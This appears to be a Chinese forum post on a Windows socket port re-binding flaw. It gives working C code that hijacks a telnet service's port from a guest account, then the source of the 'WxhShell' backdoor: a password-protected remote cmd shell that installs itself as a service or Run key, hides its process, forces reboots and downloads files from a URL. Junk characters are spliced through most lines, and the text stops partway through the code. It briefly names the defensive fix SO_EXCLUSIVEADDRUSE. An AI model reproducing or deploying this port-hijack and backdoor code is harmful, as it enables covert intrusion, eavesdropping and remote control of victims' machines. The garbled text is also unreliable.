在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
[m
%W:Ez s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
tbY SK =:;YTie saddr.sin_family = AF_INET;
xp(mB7;: HI z9s4Y_ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ZRUh/<\[ [C2kK *JZ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
I IYL A( AsD1-$ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
)#Y|ngZ_> o3fR3P%$ 这意味着什么?意味着可以进行如下的攻击:
gn364U a M{G$Pk8[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
jXtLo,km o;%n,S8J|^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
lR,G; VSx%8IM+X 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
vmMV n-\# BJ"Ay@D* 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
;*_I,|A:Xr }0vtc[! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
nwhm[AaNs D)h["z|F 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8dlInms 3/:LYvM< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
>d'EInSF ]yw_n^@ #include
`9:v*KuM#R #include
/O+e#z2f< #include
[q
w #include
juR DWORD WINAPI ClientThread(LPVOID lpParam);
jzT;,4poy int main()
]S*E {
"i}Z(_7yr WORD wVersionRequested;
[GOX0}$? DWORD ret;
NavOSlC+h WSADATA wsaData;
r,QJG$ Jo BOOL val;
#%;<FFu\ SOCKADDR_IN saddr;
ocq2 SOCKADDR_IN scaddr;
p?_'|#tz int err;
a
pKa4nI
SOCKET s;
g<0w/n!jmC SOCKET sc;
]<Z&=0i# 9 int caddsize;
*1R##9\jU7 HANDLE mt;
</8be=e7p DWORD tid;
{V{0^T- wVersionRequested = MAKEWORD( 2, 2 );
,o4r,.3[s err = WSAStartup( wVersionRequested, &wsaData );
gD,A9a(3 if ( err != 0 ) {
\\y}DNh printf("error!WSAStartup failed!\n");
3KDu!w@ return -1;
>t2]Ssi( }
M^Q&A R'F saddr.sin_family = AF_INET;
,HQ1C8 F]hx //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Z#srQD3].( ^
yY{o/6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
M}R@ K;%
saddr.sin_port = htons(23);
8+=p8e~An if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
yLV2>kq {
AECxd[k$9 printf("error!socket failed!\n");
|2WxcW]U.% return -1;
Q9Q!9B@ }
,<`|-oa val = TRUE;
pg5@lC]J //SO_REUSEADDR选项就是可以实现端口重绑定的
*Pa2bY3: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
&n}8Uw0440 {
QJ[(Y@ O6a printf("error!setsockopt failed!\n");
C]aOgt/U return -1;
h9,wiT }
bM*Pcxv //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
AM1/\R //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
c_R)P,P //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
6z1aG9G v=dKcruR: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
%V@R k.< {
4W[AXDS ret=GetLastError();
C}t+t printf("error!bind failed!\n");
Z5"!0B^ j return -1;
6GvhEulYR }
fRZUY<t listen(s,2);
-='8_B/75 while(1)
g}\U, ( {
>DSNKU+j caddsize = sizeof(scaddr);
~gSF@tz@ //接受连接请求
MYur3lj%_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/zChdjz if(sc!=INVALID_SOCKET)
t;Fbt("]: {
MR^umLM88 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
N]3-L`t if(mt==NULL)
o06A=4I {
'vqj5YTj printf("Thread Creat Failed!\n");
?,A}E|jZ break;
I{i:B }
D5o+0R }
9q@z[+X CloseHandle(mt);
6Cop#kW# }
n"K {uj)) closesocket(s);
8=ukS_?Vy WSACleanup();
k)<~nc- return 0;
,3fuX~g }
UKt/0Ze DWORD WINAPI ClientThread(LPVOID lpParam)
?qq!%4mTB {
gxBl1 SOCKET ss = (SOCKET)lpParam;
[Gh%nsH SOCKET sc;
x= vE&9_u unsigned char buf[4096];
,qBnqi[ SOCKADDR_IN saddr;
eG[umv.9b long num;
PHe~{"|d? DWORD val;
'l0eo' K DWORD ret;
LaEX kb*s //如果是隐藏端口应用的话,可以在此处加一些判断
f 4
Sw,A //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
1FXzAc(c! saddr.sin_family = AF_INET;
z=- 8iks| saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
[[.&,6 saddr.sin_port = htons(23);
1@1+4P0NF[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
U|y;b+n` {
3:02`;3 printf("error!socket failed!\n");
u"Hd55"& return -1;
/
y":/"h }
]$XBd{\D{ val = 100;
T_YMM'` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
a[d{>Fb. {
xv(xweV+d ret = GetLastError();
q;Ar&VrlNq return -1;
'.}6]l }
yNb#Ia if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
g4.'T51 {
{Q#Fen
;y| ret = GetLastError();
IlC:dA return -1;
\(
Gf+ }
],fwZd[t if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Uy_}@50"l {
LB64W ;#h printf("error!socket connect failed!\n");
4cVs(`g^ closesocket(sc);
s[{:>~{iq closesocket(ss);
%BKR} return -1;
Z<,CzKs+|| }
;/hH=IT while(1)
EP*["fx {
!4b;>y=m //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
%0y3 /W //如果是嗅探内容的话,可以再此处进行内容分析和记录
0Tn|Q9R //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
c9cphZ(z num = recv(ss,buf,4096,0);
{C,1w if(num>0)
yv#c=v| send(sc,buf,num,0);
8g2-8pa{ else if(num==0)
*Wuctu^9 break;
]y)R C-N num = recv(sc,buf,4096,0);
]<o.aMdV if(num>0)
7zJh;f/ send(ss,buf,num,0);
^V0{Ew/x else if(num==0)
c5mhl;+' break;
;'WzfJ!q }
-Uhl9
= closesocket(ss);
C^8)IN=$ closesocket(sc);
U d=gdsL return 0 ;
B1i!te}* }
C.9eXa1wkT 4
L~;>]7 M#8Ao4
T ==========================================================
]%Q]C
8[C >w]k3MC 下边附上一个代码,,WXhSHELL
w7*b}D@65\ IW] 841 ==========================================================
~gLEh tW }TAGr 0 #include "stdafx.h"
)2^/?jK 0z'={6, #include <stdio.h>
wEHrer #include <string.h>
9'/ |?I #include <windows.h>
#QyK?i* #include <winsock2.h>
l]58P #include <winsvc.h>
Z+h70,| #include <urlmon.h>
~jRk10T(B UV
*tO15i #pragma comment (lib, "Ws2_32.lib")
uX5--o=C #pragma comment (lib, "urlmon.lib")
PE6u8ZAb" b1['uJF #define MAX_USER 100 // 最大客户端连接数
Ow .)h(y/ #define BUF_SOCK 200 // sock buffer
Ppo^qb #define KEY_BUFF 255 // 输入 buffer
,ovv Zy+QA>d| #define REBOOT 0 // 重启
g ]PLW3 #define SHUTDOWN 1 // 关机
,h(f\h(9 JXy667_ #define DEF_PORT 5000 // 监听端口
#3:'lGBIK 39a]B`y #define REG_LEN 16 // 注册表键长度
s2' :&5( #define SVC_LEN 80 // NT服务名长度
4f @\f7\ |uBot#K| // 从dll定义API
:]z-Rz typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
zHum&V8=H typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
.V )2Tz typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
G4J6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
_ry En YI\Cs=T/ // wxhshell配置信息
1n5e^'z struct WSCFG {
5P t} int ws_port; // 监听端口
[,szx1 char ws_passstr[REG_LEN]; // 口令
:7PSZc:xE int ws_autoins; // 安装标记, 1=yes 0=no
XL&eJ char ws_regname[REG_LEN]; // 注册表键名
a ~iEps char ws_svcname[REG_LEN]; // 服务名
'N5r2JL[w char ws_svcdisp[SVC_LEN]; // 服务显示名
Kg0\Pvg8?T char ws_svcdesc[SVC_LEN]; // 服务描述信息
[m+O0VK$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
d(B;vL@R2V int ws_downexe; // 下载执行标记, 1=yes 0=no
]!Aze^7; char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
~JmxW;|_x) char ws_filenam[SVC_LEN]; // 下载后保存的文件名
OD@A+" O@(.ei*HJ! };
RKJWLofX& &= yqWW? // default Wxhshell configuration
@Q1F#IU struct WSCFG wscfg={DEF_PORT,
$O</akn; "xuhuanlingzhe",
|u@>[*k'= 1,
1eR{~ , "Wxhshell",
%?G.lej,x "Wxhshell",
s8I77._s "WxhShell Service",
@j8L{FGnN "Wrsky Windows CmdShell Service",
&7kSLat+9{ "Please Input Your Password: ",
96V, [-arf 1,
3SB7)8Id1 "
http://www.wrsky.com/wxhshell.exe",
/z- C
:k\ "Wxhshell.exe"
Ko1?jPE };
"BNmpP )mZy>45 // 消息定义模块
*CD=cmdD* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
h|>n3-k|p char *msg_ws_prompt="\n\r? for help\n\r#>";
jnLu| W& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
C5z char *msg_ws_ext="\n\rExit.";
I$qtfGr char *msg_ws_end="\n\rQuit.";
1Y0oo jD char *msg_ws_boot="\n\rReboot...";
;8xn"G0}a char *msg_ws_poff="\n\rShutdown...";
V@xnz)^t char *msg_ws_down="\n\rSave to ";
OZ]3OL, F^v{ Jqc char *msg_ws_err="\n\rErr!";
>v4~:n2D char *msg_ws_ok="\n\rOK!";
W)P_t"'@L Vm8_
!$F char ExeFile[MAX_PATH];
<YNPhu~5 int nUser = 0;
o;-!?uJ HANDLE handles[MAX_USER];
]mU*Y:< int OsIsNt;
L=Jk"qWV0 "'dC>7* < SERVICE_STATUS serviceStatus;
>t<R6f_Q0 SERVICE_STATUS_HANDLE hServiceStatusHandle;
qpH-P8V aj-uk(r // 函数声明
v+2qR0,LM int Install(void);
]vyF&`phb int Uninstall(void);
"@|V.d@ int DownloadFile(char *sURL, SOCKET wsh);
u=i^F| int Boot(int flag);
2&f=4b`Z void HideProc(void);
oDDH;Q"M( int GetOsVer(void);
5GpKX int Wxhshell(SOCKET wsl);
g
wiC , void TalkWithClient(void *cs);
U`4Zj1y int CmdShell(SOCKET sock);
%+JTQy int StartFromService(void);
",@g int StartWxhshell(LPSTR lpCmdLine);
Xg#([}b TKydOw@P" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
|,~A9 VOID WINAPI NTServiceHandler( DWORD fdwControl );
L}pFb@ *)SgdC/f // 数据结构和表定义
n>+W]I&E SERVICE_TABLE_ENTRY DispatchTable[] =
`\uv+^x{ {
pKlT.<X7 {wscfg.ws_svcname, NTServiceMain},
H;te)km} {NULL, NULL}
Gjh7cm> };
Jg6[/7*m oRF"[G8BV // 自我安装
f6C+2L+Hr int Install(void)
Re ur#K {
bL[W.O0 char svExeFile[MAX_PATH];
W8rn8Rh HKEY key;
*==nOO9G strcpy(svExeFile,ExeFile);
JEkVj']? 9r*T3=u.S // 如果是win9x系统,修改注册表设为自启动
D[y|y3F if(!OsIsNt) {
3&2q\]Y, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
b,A1(_pzi RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
5Rp2O4Z RegCloseKey(key);
9!C?2*>A P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z'kYf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
bW3o%srxa RegCloseKey(key);
iR =aYT~ return 0;
~ZC=!|Q# }
/T(~T }
k&;L(D }
6>A8#VT else {
fJV VW w`_9 *AF9 // 如果是NT以上系统,安装为系统服务
iKKWn*u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
&y?B&4|hM if (schSCManager!=0)
8TvPCZ$x {
SSC!BcC1 SC_HANDLE schService = CreateService
MUl+Oy> (
kniMXeiu schSCManager,
]TOY_K8"z# wscfg.ws_svcname,
Q{-r4n|b wscfg.ws_svcdisp,
jX,~iZ_B SERVICE_ALL_ACCESS,
g>oLc6T SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
=h!m/f^x SERVICE_AUTO_START,
%QbrVl+ SERVICE_ERROR_NORMAL,
u^p[zepW\ svExeFile,
S"z4jpqn3 NULL,
/LzNr0>2 NULL,
b)@x@3"O NULL,
/q]@|5I NULL,
Zt=X
%M|aw NULL
9q{dRS[A );
)Me&xQTn if (schService!=0)
p}z0(lQ*~ {
Z&!$G'X CloseServiceHandle(schService);
!7D S CloseServiceHandle(schSCManager);
nQ6'yd" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
}@4*0_g"Aw strcat(svExeFile,wscfg.ws_svcname);
NQD b;5: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
n-_w0Y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
jm"xf7 RegCloseKey(key);
?H?r!MZ% return 0;
Z;:-8 HPDY }
p,fin?nW c }
=;T[2:JUu CloseServiceHandle(schSCManager);
J-c7ZcTt }
V5w^Le_^ }
W&#Nk5d G7?EaLsfQ return 1;
zYsGI<4 }
q[ZYlF,Ho ovO^uWz` // 自我卸载
V5MbWXgR int Uninstall(void)
'r
CR8>k {
Sm5"Q HKEY key;
\266N;JrN w@We,FUJN if(!OsIsNt) {
j!dklQh0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
yfrgYA RegDeleteValue(key,wscfg.ws_regname);
8%Lg)hvl RegCloseKey(key);
N~(}?'y9S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
g9JtWgu RegDeleteValue(key,wscfg.ws_regname);
tWuQKN`_ RegCloseKey(key);
qE[}Cf]X return 0;
$Izk]o;X~ }
_De;SB%V }
}Of^Y@{q. }
=
'[@UVH(Z else {
-6\9B>qa k,,}N9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
i%2K%5{)$D if (schSCManager!=0)
|zE7W {
Iq *7F5B SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*XuzTGa" if (schService!=0)
9Wn0YIc {
>qla,}x if(DeleteService(schService)!=0) {
dXhV]xK CloseServiceHandle(schService);
aHw VoT CloseServiceHandle(schSCManager);
/~:ztv\$M" return 0;
78wcMQNX9 }
Kt(p| CloseServiceHandle(schService);
q$P"o].EK }
o^D{WH\p CloseServiceHandle(schSCManager);
zFIbCv8 }
(WC<X Kf }
.:}\Z27-c !=pemLvH return 1;
y5I7pbe }
"2-TtQV! p-Ju&4fS // 从指定url下载文件
9w1)Mf} int DownloadFile(char *sURL, SOCKET wsh)
RA}PM?D/ {
9]iDNa/D HRESULT hr;
Qi M>59[ char seps[]= "/";
81&!!qhfS char *token;
i2DR}%U char *file;
O?_'6T char myURL[MAX_PATH];
qyto`n7 char myFILE[MAX_PATH];
FB""^IC?W G>j/d7 strcpy(myURL,sURL);
u|E,Wy1 token=strtok(myURL,seps);
d hy= x while(token!=NULL)
+;T%7j"wz {
O7W}Z1G file=token;
RN0Rk 8AC token=strtok(NULL,seps);
?d 4_'y
}
+e\u4k {3V 4b)xW&K{ GetCurrentDirectory(MAX_PATH,myFILE);
lc^%:#@ strcat(myFILE, "\\");
HDYf^mcW strcat(myFILE, file);
kI]1J send(wsh,myFILE,strlen(myFILE),0);
w[XW>4xK send(wsh,"...",3,0);
<7XdT hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
!u"Hf7/ if(hr==S_OK)
Y+E@afsKs return 0;
$[d}g else
eUl[gHP return 1;
iZUBw Y:wds=lA }
a[/p(O ;iEqa"gO // 系统电源模块
E_?
M& int Boot(int flag)
<]<50 {
m~v
Ie c HANDLE hToken;
*+G K?Ga TOKEN_PRIVILEGES tkp;
V}( "8L S9.jc@#.` if(OsIsNt) {
7W*OyH^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
(L\tp>
E- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
D4G{= Y}G tkp.PrivilegeCount = 1;
W\Gg!XsLk tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-`( :L[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
nv={.H if(flag==REBOOT) {
JO$0Z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
X@s s d return 0;
Y\rKw!u_! }
R
.,w`<< else {
'{|87kI if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Cs$g]&a return 0;
t6tqv }
@`T6\ 1 }
GxBj N7" else {
/a,q4tD@ if(flag==REBOOT) {
,Vogo5~X if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
(wTg aV1 return 0;
R75sK(oS }
54k
Dez else {
It4F;Ah if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{uw]s<
6 return 0;
tlW}lN} }
5\pizD/17 }
tIg_cY_y DP?gozm return 1;
Zy<0'k%U }
F$caKWzny5 __a9}m4i7x // win9x进程隐藏模块
7':|f " void HideProc(void)
4:K9FqU {
-+z^{*\;N GK)hK-
HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
]UNmhF!W>u if ( hKernel != NULL )
2Bx\nLf/
K {
Q<M>+U;t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
u}pLO9V"` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
4|~o<t8 FreeLibrary(hKernel);
(|WqOwmoUt }
8.vD]hO myPo&"_ x return;
uQ{M<%K }
J^u{7K, H.YntFtD' // 获取操作系统版本
[ [Z*n/tr int GetOsVer(void)
$+Xohtt {
9Gy1T3y5" OSVERSIONINFO winfo;
7,:QFV winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
a^,Xm(Wb} GetVersionEx(&winfo);
*@D.=i> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
I!{5*~ 3 return 1;
f\Qi() else
kw!! 5U;7 return 0;
V%"aU}
}
}^=J] (*#S%4(YX // 客户端句柄模块
#
TvY*D, int Wxhshell(SOCKET wsl)
?@tp1?) {
V-VR+ Ndz SOCKET wsh;
QqRL>.)W struct sockaddr_in client;
&L_(yJ~- DWORD myID;
gg<lWeS/3 w'}b 8m(L while(nUser<MAX_USER)
Nkc=@l{ {
/W fpA\4S int nSize=sizeof(client);
0;)4.*t
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
1;>J9 if(wsh==INVALID_SOCKET) return 1;
sVGyHA d^w6_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
"wdC/ if(handles[nUser]==0)
6<gh:vj closesocket(wsh);
]c*&5c$ else
aK'BC>uFI nUser++;
v&|o5om }
Mu TlN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
E<0Y;tR "Ln)v return 0;
j2V^1 }
WxFVbtw HG{OkDx]fl // 关闭 socket
2|m461 void CloseIt(SOCKET wsh)
6?r}bs6Msx {
'};pu;GA7 closesocket(wsh);
2WqjNqx)6 nUser--;
@?TOg{: ExitThread(0);
{ymD.vf=9+ }
K;Fy&p^d L )kwMk // 客户端请求句柄
?nE<Aig void TalkWithClient(void *cs)
H}`}qu #~V {
9[T}cN=| FK<1SOE SOCKET wsh=(SOCKET)cs;
Ean
#>h char pwd[SVC_LEN];
ht)J#Di char cmd[KEY_BUFF];
[8[g_ char chr[1];
I~|.Re9a int i,j;
xzh`q X$)<>e]!> while (nUser < MAX_USER) {
bDK72cQ xO{yr[x"L if(wscfg.ws_passstr) {
5*C#~gd&F if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
(*F/^4p!$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
("?V| //ZeroMemory(pwd,KEY_BUFF);
><^
, i=0;
@w?hXK= while(i<SVC_LEN) {
ogtl
UCUD c3lU // 设置超时
t
7 dcaNBZ fd_set FdRead;
%d3qMnYu struct timeval TimeOut;
E{*d`n FD_ZERO(&FdRead);
E&9BeU
a# FD_SET(wsh,&FdRead);
g{RVxGE7 TimeOut.tv_sec=8;
HW"@~-\ TimeOut.tv_usec=0;
+K {J*
n int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
"&W80,O3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
z&Cz!HrS kIrb;bZ+l if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
fgdqp8~ pwd
=chr[0]; ~qT5F)$B-
if(chr[0]==0xd || chr[0]==0xa) { Dn~c
pwd=0; yH/m@#
break; _TEjB:9eY
} R.^
Y'TLyc
i++; dg-nv]7
} b@`h]]~:
`|(S]xPHM
// 如果是非法用户,关闭 socket ^Y,nv,gYn
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }hRw{#*8
} ozB2L\D7
9vZ:oO
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =#0f4z
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZMEU4?F
~>SqJ&-moo
while(1) { :Y>FuE
x4v@o?zW
ZeroMemory(cmd,KEY_BUFF); 4j_\_:$w<
%\$~B?At
// 自动支持客户端 telnet标准 n`
M!K:Pq
j=0; :8=7)cW
while(j<KEY_BUFF) { gjFpM.D-.
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0i[v,eS
cmd[j]=chr[0]; <x-7MU&
if(chr[0]==0xa || chr[0]==0xd) { /0 CS2mLC
cmd[j]=0; [0MNq]gxf
break; ?sD4S
} JCO+_d#x
j++; Gu@n1/m@o
} 37<^Oly!
LT[g
+zGB
// 下载文件 c]}F$[>oN'
if(strstr(cmd,"http://")) { mUA!GzJ~u-
send(wsh,msg_ws_down,strlen(msg_ws_down),0); SR_<3WW
if(DownloadFile(cmd,wsh)) v9*31Jx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]"ou?ot }
else FJQ=611@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uhs/F:E[A
} _TntZv.?
else { #;D@`.#\
z>]P_E~`}
switch(cmd[0]) { nEHmiG
y~Z7sx0
// 帮助 R`KlG/Tk
case '?': { ` {/"?s|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qBF6LhR
break; Y#[xX2z9
} D,\hRQ
// 安装 cXw8#M!
case 'i': { *(E]]8o
if(Install()) )s N}ClgJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }i._&x`):
else _$+BYK@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gx9=L&=d
break; g286
P_a`*
} Nnx dO0X
// 卸载 B_mT[)ut
case 'r': { *[Im].
if(Uninstall()) (h"-#q8$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0@yw#.j
else o3W@)|>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (1e,9!?
break; O!se-h5mW8
} @)XR
// 显示 wxhshell 所在路径 Tm\a%Z`U>
case 'p': { >=1A a,_tc
char svExeFile[MAX_PATH]; QpCTHpZ
strcpy(svExeFile,"\n\r"); 1 HY
K&
',
strcat(svExeFile,ExeFile); R =kXf/y
send(wsh,svExeFile,strlen(svExeFile),0);
YWAH(
break; xL [3R
} mor[AJ
// 重启 p(>D5uN_}5
case 'b': { s}q tM.^W
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fG zx;<0P!
if(Boot(REBOOT)) "^Vnnb:Z*o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~jJF&*)
else { /%1-tGh
closesocket(wsh); zJ)`snN|
ExitThread(0); t|P+^SL
} ]TVc 'G;
break; _1G;!eO
} G5hf m-
// 关机 4s9qQ8?
case 'd': { m
yy*rt
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <&kl:|
if(Boot(SHUTDOWN)) ?{L5=X@$$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s2`} ~
else { oT0:Ny
closesocket(wsh); [gGo^^aW#
ExitThread(0); L"RE[" m
} O{x-9p
break; Y0yu,
} ~p?D[]h
// 获取shell 3 S .2
case 's': { L 8J] X7
CmdShell(wsh); ,]tEh:QC
closesocket(wsh); <Uu[nUJ
ExitThread(0); r:M0#
2
break; &r+!rL Kp
} *4/KK
// 退出 dTWcn7C
case 'x': { ]?T,J+S
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YpgO]\/w
CloseIt(wsh); fI,2l
break; tn;Uaw
} 8=)9ZjfD
// 离开 _\<TjGtG
case 'q': { =om<* \vsO
send(wsh,msg_ws_end,strlen(msg_ws_end),0); +&r=XJ5:`p
closesocket(wsh); =gC% =
WSACleanup(); Tol V3
exit(1); /[5\T2GI
break; _yp<#q]
} 1,Jy+1G0w
} >y+?Sz!
} @O/"s~d-
Wcbm,O4u
// 提示信息 &14xYpD<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )-m/(-
} ,#bT
} ^fV-m&F)K*
\E6 0
return; `_sKR,LhB
} XqGa]/;}
cSjX/%*!m
// shell模块句柄 ]@m`bs_6
int CmdShell(SOCKET sock) X/buz
{ MO?
}$j
STARTUPINFO si; vR
(nd
ZeroMemory(&si,sizeof(si)); ,Iru_=Wk~
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~Rx`:kQ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >U.7>K
V&
PROCESS_INFORMATION ProcessInfo; @YVla!5O@
char cmdline[]="cmd"; (G~M E>
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _C=01 %/
return 0; _88X-~.
} OKAmw>{
VR'zm\< D
// 自身启动模式 e0]#vqdO
int StartFromService(void) JLjb'Bn
{ (,tL(:c
typedef struct Xy}>O*
{ b81cq,
DWORD ExitStatus; 5~$WSL?O)
DWORD PebBaseAddress; HIUP
=/x
DWORD AffinityMask; zCv)%y
